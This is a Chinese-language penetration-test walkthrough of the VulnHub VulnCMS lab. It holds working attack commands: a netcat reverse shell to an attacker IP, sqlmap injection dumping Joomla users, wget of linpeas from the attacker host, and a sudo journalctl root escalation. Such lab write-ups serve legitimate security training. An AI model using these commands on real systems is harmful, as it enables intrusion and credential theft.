靶机地址: https://www.vulnhub.com/entry/vulncms-1,710/
1、主机探活
arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息) masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号) netdiscover -i eth0 -r 192.168.184.0/24 (netdiscover -i 网卡-r 网段) nmap -sn 192.168.111.0/24
2、端口扫描
nmap -sS -A -sV -T4 -p- 192.168.111.23 22—ssh—OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;protocol 2.0) 80—http—nginx 1.14.0 (Ubuntu) 5000—http—nginx 1.14.0 (Ubuntu) 8081—http—nginx 1.14.0 (Ubuntu) 9001—http—nginx 1.14.0 (Ubuntu)
3、端口分析 其实看靶机的名字是和cms有关的,80端口确实没啥重要的东西,我们重点就来突破这三个国外著名的cms:WordPress、Joomla、Drupal。(其实笔者自己搭建的个人博客就是wordpress,欢迎去瞅瞅:http://www.xinza1.top/ )
首先对于这种大型的cms,直接先上扫描器是好的选择,而cms版本信息的探测也是重要的,可以帮助我们快速的定位是否有对应版本的通杀漏洞。
1.wpscan --url http://192.168.111.23:5000/-e u
得知wordpress版本为5.7.2(其实这个前面nmap也扫出了)
2.perl joomscan.pl --url http://192.168.111.23:8081/
得到joomla版本3.4.3,同时扫出了对应版本内存在一个SQL注入漏洞
3.python3 cmsmap.py http://192.168.111.23:9001
得到drupal版本7.54
4、5000端口wordpress分析 随便点击一个链接发现跳转到fsociety.web这个域名,那就把它加入hosts文件中,然后再次访问成功 没有思路就先扫描一波目录看看
gobuster dir -u “http://fsociety.web:5000/” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip,bak
有意思的是发现/wp-login.php是后台登录,而/wp-login竟然是一个webshell 那我们直接反弹shell就完事了hhh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.111.7 4444 >/tmp/f
由此可见信息收集十分的重要,你还在费劲心思找漏洞,人家发现了这个遗留的webshell直接就进去了。 5、8001端口joomla分析 之前扫描器扫描出存在sql注入漏洞,我们直接利用即可
1、本地搜索漏洞:searchsploit joomla 3.4.3
2、复制到当前目录并查看:searchsploit -m php/webapps/38534.php
cat 38534.php
3、发现代码中有注入的 URL,使用 sqlmap 尝试注入,用 * 号代替注入语句:sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" --batch --dbs
4、最后得到hs23w_users表中的信息:sqlmap -u "http://fsociety.web:8081/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=*" --batch -D "joomla_db" -T "hs23w_users" -C "username,password,name,email" -dump -batch
虽然密码加密,但是 email 列有一个看起来像密码(不要只专注一password字段,其它的字段也很有可能存在我们意想不到的东西)
账户: elliot 密码: 5T3e!_M0un7i@N
ssh尝试登录成功! 6、9001端口Drupal分析 根据之前的扫描器探测出其版本信息,直接在msf搜索漏洞库,经测试第二个可以直接getshell 成功得到www-data权限,好了三个cms我们都成功得到了shell,至此用drupal的shell进行提权。 7、尝试提权 学习到有些师傅的wp是去三个cms的数据库寻找配置文件进行信息收集用来提权,但是我一般真的很懒的这样去做。。这里我用一个辅助提权工具帮助我去快速的探测可能存在提权的地方:
kali利用Python开启http服务,靶机里下载脚本 linpeas.sh ,获取信息 wget http://192.168.111.7/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
等待一段时间的探测后可以看到三个cms的信息都探测出来,nice!不用手动一个个去探测了 wordpress Drupal Joomla 最重要的是,我们还找到了另一个账户: tyrell 密码: mR_R0bo7_i5_R3@!_
为什么知道有tyrell这个用户呢?是在/etc/passwd看到的:
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash
尝试切换,成功! 8、sudo提权
sudo -l
Matching Defaults entries for tyrell on vuln_cms:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tyrell may run the following commands on vuln_cms:
(root) NOPASSWD: /bin/journalctl
登录成功之后使用sudo -l命令发现 /bin/journalctl 可以进行利用; 附上漏洞查询连接:https://gtfobins.github.io/ ,直接搜索 journalctl,然后跟着做就行
sudo journalctl
!/bin/sh
得到root权限,完结散花~
总结: 1、注意信息收集,细节决定成败!!! 2、wordpress 扫描工具:wpscan 、 Joomla!扫描工具:joomscan 、 Drupal 扫描工具:cmsmap.py 3、msf 模块利用的简单利用 4、信息收集脚本:linpeas.sh (很好用,推荐!) 5、sudo 提权:journalctl 提权 (推荐漏洞查询网站:https://gtfobins.github.io/)
参考: https://ch1e.gitee.io/2021/08/24/vulcms/ https://www.freebuf.com/articles/others-articles/277857.html https://www.cnblogs.com/sainet/p/15752991.html#5-9001drupal-7 hirak0师傅的wp
|